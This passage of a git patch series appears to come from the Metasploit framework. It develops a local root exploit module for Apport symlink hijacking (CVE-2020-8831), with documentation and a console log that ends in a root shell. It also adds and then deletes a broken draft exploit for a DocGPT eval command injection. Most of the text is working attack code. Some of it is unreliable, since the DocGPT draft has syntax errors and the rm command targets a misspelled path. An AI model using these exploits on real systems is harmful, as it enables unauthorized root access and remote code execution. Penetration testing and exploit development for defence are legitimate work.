'/etc/apt/apt.conf.d/']), + OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/home/ubuntu']) ] end @@ -108,7 +106,7 @@ def check end # Crash Apport and hijack a symlink - # this will creat a rwx /etc/cron.d/lock owned by root + # this will creat a world rwx /etc/apt/apt.conf.d/lock owned by root def hijack_apport print_status('Creating symlink...') diff --git a/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb b/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb new file mode 100644 index 0000000000000..89e21626c05e9 --- /dev/null +++ b/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb @@ -0,0 +1,117 @@ +# TODO: add module comments + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'DocGPT RCE', + 'Description' => %q{ + DocGPT versions 0.12 through 0.81 are vulnerable to a + command injection vulnerability via the /api/remote endpoint. + This vulnerability arises because JSON data is passed directly into + an eval function allowing which allows the arbitrary execution of + python code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Shreyas Malhotra', # PoC + 'garnderapp', # msf module + ], + 'References' => [ + ['URL', 'EXPLOITDB'], + ['URL', 'Cyber Security Database News'], + ['URL', 'Github Advisory'], + ['URL', 'NIST'], + ], + 'Platform' => ['unix', 'win', 'linux'], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Windows Command', + { + 'Platform' => ['windows'], + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd + } + ] + ], + 'Payload' => [], # No idea what to do here either + 'Privileged' => false, + 'DisclosureDate' => '2025-04-09', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 7890 # double check port number for api + } + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path for DocGPT API', '/']), + OptString.new('DOCGPT_TARGET_ENDPOINT', [true, 'api endpoint to send request to', '/api/remote']) + ] + ) + end + + # Not sure if there are any api/endpoints or other artifacts that give + # away the version of the application. + # Is there any way we can determine if the DocGPT server is running on linux or windows + def check + # make sure the target is online + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return CheckCode::Unknown('Connection Failed') unless res + end + + def exploit # there is probablly a way to get a randomized user agent + + target_endpoint = normalize_uri(target_uri.path, datastore['DOCGPT_TARGET_ENDPOINT']) + + headers = { + 'Content-Type': 'application/x-www-form-urlencoded' + } + + data = <<-DATA + 'user=1&source=reddit&name=other&data={ + "source": "reddit", + "client_id": "1337", + "user_agent","1337", + "search_queries": [""], + "number_post": 10, + "RCE\\\\":__import__('os').system('#{payload}')}#"11}' + } + DATA + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_endpoint, + 'headers' => headers, + 'data' => data + }) + + return unless res&.code == 200 && res.body.include?('sucess') + + end + +end From c70e2f6638942e94d63a602aba75dbe708ed4c21 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Thu, 20 Nov 2025 11:10:27 -0500 Subject: [PATCH 27/47] Delete modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb Delete accidental module --- .../multi/http/cve_2025_0868_doc_gpt_rce.rb | 117 ------------------ 1 file changed, 117 deletions(-) delete mode 100644 modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb diff --git a/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb b/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb deleted file mode 100644 index 89e21626c05e9..0000000000000 --- a/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb +++ /dev/null @@ -1,117 +0,0 @@ -# TODO: add module comments - -class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'DocGPT RCE', - 'Description' => %q{ - DocGPT versions 0.12 through 0.81 are vulnerable to a - command injection vulnerability via the /api/remote endpoint. - This vulnerability arises because JSON data is passed directly into - an eval function allowing which allows the arbitrary execution of - python code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Shreyas Malhotra', # PoC - 'garnderapp', # msf module - ], - 'References' => [ - ['URL', 'EXPLOITDB'], - ['URL', 'Cyber Security Database News'], - ['URL', 'Github Advisory'], - ['URL', 'NIST'], - ], - 'Platform' => ['unix', 'win', 'linux'], - 'Targets' => [ - [ - 'Unix/Linux Command', - { - 'Platform' => ['unix', 'linux'], - 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd - } - ], - [ - 'Windows Command', - { - 'Platform' => ['windows'], - 'Arch' => ARCH_CMD, - 'Type' => :win_cmd - } - ] - ], - 'Payload' => [], # No idea what to do here either - 'Privileged' => false, - 'DisclosureDate' => '2025-04-09', - 'DefaultOptions' => { - 'SSL' => true, - 'RPORT' => 7890 # double check port number for api - } - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK] - } - ) - ) - - register_options( - [ - OptString.new('TARGETURI', [true, 'Base path for DocGPT API', '/']), - OptString.new('DOCGPT_TARGET_ENDPOINT', [true, 'api endpoint to send request to', '/api/remote']) - ] - ) - end - - # Not sure if there are any api/endpoints or other artifacts that give - # away the version of the application. - # Is there any way we can determine if the DocGPT server is running on linux or windows - def check - # make sure the target is online - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path) - ) - - return CheckCode::Unknown('Connection Failed') unless res - end - - def exploit # there is probablly a way to get a randomized user agent - - target_endpoint = normalize_uri(target_uri.path, datastore['DOCGPT_TARGET_ENDPOINT']) - - headers = { - 'Content-Type': 'application/x-www-form-urlencoded' - } - - data = <<-DATA - 'user=1&source=reddit&name=other&data={ - "source": "reddit", - "client_id": "1337", - "user_agent","1337", - "search_queries": [""], - "number_post": 10, - "RCE\\\\":__import__('os').system('#{payload}')}#"11}' - } - DATA - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_endpoint, - 'headers' => headers, - 'data' => data - }) - - return unless res&.code == 200 && res.body.include?('sucess') - - end - -end From a28e5057072f67f34c1609f8e687a2cd113c2cce Mon Sep 17 00:00:00 2001 From: Corey Date: Thu, 20 Nov 2025 11:44:21 -0500 Subject: [PATCH 28/47] remove docgpt draft --- .../multi/http/cve_2025_0868_doc_gpt_rce.rb | 117 ------------------ 1 file changed, 117 deletions(-) delete mode 100644 modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb diff --git a/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb b/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb deleted file mode 100644 index 89e21626c05e9..0000000000000 --- a/modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb +++ /dev/null @@ -1,117 +0,0 @@ -# TODO: add module comments - -class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'DocGPT RCE', - 'Description' => %q{ - DocGPT versions 0.12 through 0.81 are vulnerable to a - command injection vulnerability via the /api/remote endpoint. - This vulnerability arises because JSON data is passed directly into - an eval function allowing which allows the arbitrary execution of - python code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Shreyas Malhotra', # PoC - 'garnderapp', # msf module - ], - 'References' => [ - ['URL', 'EXPLOITDB'], - ['URL', 'Cyber Security Database News'], - ['URL', 'Github Advisory'], - ['URL', 'NIST'], - ], - 'Platform' => ['unix', 'win', 'linux'], - 'Targets' => [ - [ - 'Unix/Linux Command', - { - 'Platform' => ['unix', 'linux'], - 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd - } - ], - [ - 'Windows Command', - { - 'Platform' => ['windows'], - 'Arch' => ARCH_CMD, - 'Type' => :win_cmd - } - ] - ], - 'Payload' => [], # No idea what to do here either - 'Privileged' => false, - 'DisclosureDate' => '2025-04-09', - 'DefaultOptions' => { - 'SSL' => true, - 'RPORT' => 7890 # double check port number for api - } - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK] - } - ) - ) - - register_options( - [ - OptString.new('TARGETURI', [true, 'Base path for DocGPT API', '/']), - OptString.new('DOCGPT_TARGET_ENDPOINT', [true, 'api endpoint to send request to', '/api/remote']) - ] - ) - end - - # Not sure if there are any api/endpoints or other artifacts that give - # away the version of the application. - # Is there any way we can determine if the DocGPT server is running on linux or windows - def check - # make sure the target is online - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path) - ) - - return CheckCode::Unknown('Connection Failed') unless res - end - - def exploit # there is probablly a way to get a randomized user agent - - target_endpoint = normalize_uri(target_uri.path, datastore['DOCGPT_TARGET_ENDPOINT']) - - headers = { - 'Content-Type': 'application/x-www-form-urlencoded' - } - - data = <<-DATA - 'user=1&source=reddit&name=other&data={ - "source": "reddit", - "client_id": "1337", - "user_agent","1337", - "search_queries": [""], - "number_post": 10, - "RCE\\\\":__import__('os').system('#{payload}')}#"11}' - } - DATA - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_endpoint, - 'headers' => headers, - 'data' => data - }) - - return unless res&.code == 200 && res.body.include?('sucess') - - end - -end From 65b6e70a5da2e4b891f141428e3a56f8005ab263 Mon Sep 17 00:00:00 2001 From: Corey Date: Wed, 26 Nov 2025 15:39:52 -0500 Subject: [PATCH 29/47] Add REMOVE_LOCK_FILE advanced option --- .../local/cve_2020_8831_apport_symlink_privesc.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 6c559f39fabe5..d7aa44a8bfd28 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -68,6 +68,10 @@ def initialize(info = {}) OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']), OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/home/ubuntu']) ] + + register_advanced_options[ + OptBool.new('REMOVE_LOCK_FILE', [false, 'When set to true /var/lock/apport will be removed if it exists.', false]) + ] end def check @@ -110,9 +114,13 @@ def check def hijack_apport print_status('Creating symlink...') - # Maybe we should just delete /var/lock/apport if it already exists?? - if exists? '/var/lock/apport' - fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') + remove_lock = datastore['REMOVE_LOCK_FILE'] + + if remove_lock + cmd_exec 'rm -rf /var/lock/apport' + elsif exists? '/var/lock/apport' + fail_with(Failure::BadConfig, + '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_FILE to true and rerun the module to remove this directory. ') end cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") From 7837784c6df3d0b9db3a49aa5789efc455b64ef4 Mon Sep 17 00:00:00 2001 From: Corey Date: Sun, 30 Nov 2025 14:57:35 -0500 Subject: [PATCH 30/47] rubocop, add documentation and added notes --- .../cve_2020_8831_apport_symlink_privesc.md | 100 ++++++++++++++++++ .../cve_2020_8831_apport_symlink_privesc.rb | 33 +++--- 2 files changed, 117 insertions(+), 16 deletions(-) create mode 100644 documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md diff --git a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md new file mode 100644 index 0000000000000..6e051206f6606 --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md @@ -0,0 +1,100 @@ +## Description + + Apport is a utility for writing crash reports and on versions <= 2.20.11 there + exists a vulnerable `check_lock` function which suffers from the 'confused deputy + problem', and hence will inadvertantly follow symbolic links from /var/lock/apport + when writing lock files. Eseentially, this vulnerably allows and attacker to + arbitrarily create root owned world readable, writable and executable files by + creating a symbolic link to `/var/lock/apport/ `and then triggering a crash which + will be logged by apport. + + To achieve privillege escalation this module first creates a symlink from `/var/lock/ + apport/` to /etc/apt/apt.conf.d/. Then it triggers a crash a root owned file which + is world readable, writable and executable /etc/apt/apt.conf.d/lock will be written. + Next the module writes a payload which by default is written to /home/ubuntu/. + + An apt hook is a way of prepending commands to apt package operations. With the + `/etc/apt/apt.conf.d/lock` file we write our own apt hooks. This module will + trigger the payload on the following apt commands: `apt-get upgrade`, + `apt-get update` and `apt-get install`. Once one of these are run a new root + session will be spawned. + +## Vulnerable Application + + Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vunerable + function `check_lock` which will inadvertently follow symbolic links from `/var/lock/ + apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. Do: `use exploit/linux/local/cve_2020_8831_apport_symlink_privesc` + 4. Do: `set SESSION [SESSION]` + 5. Do: `check` + 6. Do: `run` + 7. You should get a new root session + +## Options + +### SESSION + + Which session to use, which can be viewed with `sessions` + +### PAYLOAD_FILENAME + + Name of the payload file which will be executed by the apt hook. Is random by + default. + +### HOOK_PATH + + Path to the apt configuration directory, default is `/etc/apt/apt.conf.d/` + +### WRITABLE_DIR + + A directory we can write to, this is where the payload file will be written to. + Default is `/home/ubuntu`. + +## Advanced Options + +### REMOVE_LOCK_DIR + + When set to true the `/var/lock/apport/` directory will be removed if it already + exists. + +## Scenarios + +``` +msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > use exploit/multi/handler +[*] Using configured payload linux/x86/meterpreter/bind_tcp +msf6 exploit(multi/handler) > set rhost 18.212.162.161 +rhost => 18.212.162.161 +msf6 exploit(multi/handler) > +rmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:5555 +^C[-] Exploit failed [user-interrupt]: Interrupt +[-] run: Interrupted +msf6 exploit(multi/handler) > set lport 7777 +lport => 7777 +runmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:7777 +[*] Sending stage (1017704 bytes) to 18.212.162.161 +[-] Meterpreter session 4 is not valid and will be closed +[*] 18.212.162.161 - Meterpreter session 4 closed. +^C[-] Exploit failed [user-interrupt]: Interrupt +[-] run: Interrupted +msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +payload => linux/x64/meterpreter/bind_tcp +rmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:7777 +[*] Sending stage (3045380 bytes) to 18.212.162.161 +[*] Meterpreter session 5 opened (192.168.0.239:57606 -> 18.212.162.161:7777) at 2025-10-14 15:49:00 -0400 +meterpreter > shell +Process 5791 created. +Channel 1 created. +whoami +root +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index d7aa44a8bfd28..b12861b575f93 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -18,7 +18,7 @@ def initialize(info = {}) info, 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', 'Description' => %q{ - On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable + On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport versions <= 2.20.11 are vulnerable to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be able to create files with global 0777 permissions. This module exploits this weakness by creating a @@ -27,7 +27,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Maximilien Bourgeteau', # Discovery - 'gardnerapp' # Metasploit + 'gardnerapp', # Metasploit + 'bwatters-r7' # code review & testing ], 'References' => [ [ @@ -57,9 +58,10 @@ def initialize(info = {}) 'DisclosureDate' => '2020-4-2', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + # After the module runs a legitmate user will notice that running `sudo apt-get upgrade` will lag as the payload runs + 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES, SCREEN_EFFECTS] } ) ) @@ -70,7 +72,7 @@ def initialize(info = {}) ] register_advanced_options[ - OptBool.new('REMOVE_LOCK_FILE', [false, 'When set to true /var/lock/apport will be removed if it exists.', false]) + OptBool.new('REMOVE_LOCK_DIR', [false, 'When set to true /var/lock/apport/ will be removed if it exists.', false]) ] end @@ -87,26 +89,25 @@ def check return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') end + # Make sure apt is all set. + # poached from modules/exploits/linux/apt_package_manager.rb + return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') + return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) + apport = cmd_exec('apport-cli --version').to_s return CheckCode::Detected('Unable to determine apport version') if apport.blank? - # TODO: determine if prior versions of apport are vulnerable apport_version = Rex::Version.new(apport.split('-').first) vulnerable_version = Rex::Version.new('2.20.11') - if apport_version == vulnerable_version + if apport_version <= vulnerable_version vprint_good('Apport appears to be vulnerable.') return CheckCode::Appears + else + return CheckCode::Safe("Installed Apport version #{apport_version.version} is not vulnerable to CVE-2020-8831") end - - # Make sure apt is all set. - # poached from modules/exploits/linux/apt_package_manager.rb - return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') - return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) - - CheckCode::Safe end # Crash Apport and hijack a symlink @@ -114,7 +115,7 @@ def check def hijack_apport print_status('Creating symlink...') - remove_lock = datastore['REMOVE_LOCK_FILE'] + remove_lock = datastore['REMOVE_LOCK_DIR'] if remove_lock cmd_exec 'rm -rf /var/lock/apport' From 2d3130ccd3595a8775758133e0f33fef05963847 Mon Sep 17 00:00:00 2001 From: Corey Date: Sat, 20 Dec 2025 08:43:58 -0500 Subject: [PATCH 31/47] Tidy --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index b12861b575f93..bcdae76785c26 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -16,7 +16,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', + 'Name' => 'Apport Symlink Hijacking Privilege Escalation', 'Description' => %q{ On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport versions <= 2.20.11 are vulnerable to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, From 90c4e741910b12f154ade2e5e74e786a4adcaf61 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 16 Feb 2026 11:15:55 -0500 Subject: [PATCH 32/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Brendan --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index bcdae76785c26..fb1f6efd9742d 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -55,7 +55,7 @@ def initialize(info = {}) ] ], 'Privileged' => true, - 'DisclosureDate' => '2020-4-2', + 'DisclosureDate' => '2020-04-02', 'DefaultTarget' => 0, 'Notes' => { # After the module runs a legitmate user will notice that running `sudo apt-get upgrade` will lag as the payload runs From 5163148b7734c5916d763adacad7883deea68549 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 16 Feb 2026 11:16:53 -0500 Subject: [PATCH 33/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Brendan --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index fb1f6efd9742d..3ea478792e03d 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -65,15 +65,15 @@ def initialize(info = {}) } ) ) - register_options [ + register_options([ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']), OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/home/ubuntu']) - ] + ]) - register_advanced_options[ + register_advanced_options([ OptBool.new('REMOVE_LOCK_DIR', [false, 'When set to true /var/lock/apport/ will be removed if it exists.', false]) - ] + ]) end def check From d041181cc3de4a99228b5ed100cc486a7b119392 Mon Sep 17 00:00:00 2001 From: Corey Date: Mon, 16 Feb 2026 12:52:56 -0500 Subject: [PATCH 34/47] Add debug statements --- .../local/cve_2020_8831_apport_symlink_privesc.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 3ea478792e03d..da35a51ba0f66 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -118,20 +118,25 @@ def hijack_apport remove_lock = datastore['REMOVE_LOCK_DIR'] if remove_lock - cmd_exec 'rm -rf /var/lock/apport' + cmd_exec 'rm -rf /var/lock/appport' elsif exists? '/var/lock/apport' fail_with(Failure::BadConfig, '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_FILE to true and rerun the module to remove this directory. ') end - cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") + x = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") + print_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" + + print_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" # Create crash and trigger apport print_status('Triggering crash...') cmd_exec 'sleep 10s & kill -11 $!' - @hook_file = "#{datastore['HOOKPATH']}lock" + print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}") + @hook_file = "#{datastore['HOOKPATH']}lock" + if exist?(@hook_file) print_good("Successfully created #{@hook_file}") else From 8039309ef54718f1a2aa428e1a050a659bb9eefb Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Fri, 13 Mar 2026 15:41:02 -0400 Subject: [PATCH 35/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Brendan --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index da35a51ba0f66..2148dac65b3e6 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -133,7 +133,7 @@ def hijack_apport print_status('Triggering crash...') cmd_exec 'sleep 10s & kill -11 $!' - print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}") + print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" @hook_file = "#{datastore['HOOKPATH']}lock" From 658ae3963ea5634ea8634e66de0f4328d3622bbf Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 31 Mar 2026 09:04:57 -0400 Subject: [PATCH 36/47] fix debug --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index da35a51ba0f66..269488946abe3 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -121,11 +121,10 @@ def hijack_apport cmd_exec 'rm -rf /var/lock/appport' elsif exists? '/var/lock/apport' fail_with(Failure::BadConfig, - '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_FILE to true and rerun the module to remove this directory. ') + '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory. ') end - x = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") - print_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" + t = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") print_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" @@ -133,10 +132,10 @@ def hijack_apport print_status('Triggering crash...') cmd_exec 'sleep 10s & kill -11 $!' - print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}") + print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" @hook_file = "#{datastore['HOOKPATH']}lock" - + if exist?(@hook_file) print_good("Successfully created #{@hook_file}") else From 428a69fc8c9fc6b5a9835f40ce5629fbfef7c291 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:45:53 -0400 Subject: [PATCH 37/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 2148dac65b3e6..534c4cc68b3a6 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -124,7 +124,12 @@ def hijack_apport '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_FILE to true and rerun the module to remove this directory. ') end - x = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") + symlink_result = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport 2>&1").to_s + unless exists?('/var/lock/apport') + error_message = "Failed to create symlink /var/lock/apport -> #{datastore['HOOKPATH']}" + error_message = "#{error_message}: #{symlink_result.strip}" unless symlink_result.strip.empty? + fail_with(Failure::Unknown, error_message) + end print_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" print_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" From 71ab951ed1a7f610b43223ae4bc2a6603c65fdc6 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:46:19 -0400 Subject: [PATCH 38/47] Update documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md index 6e051206f6606..08357d8d36333 100644 --- a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md +++ b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md @@ -46,7 +46,7 @@ Name of 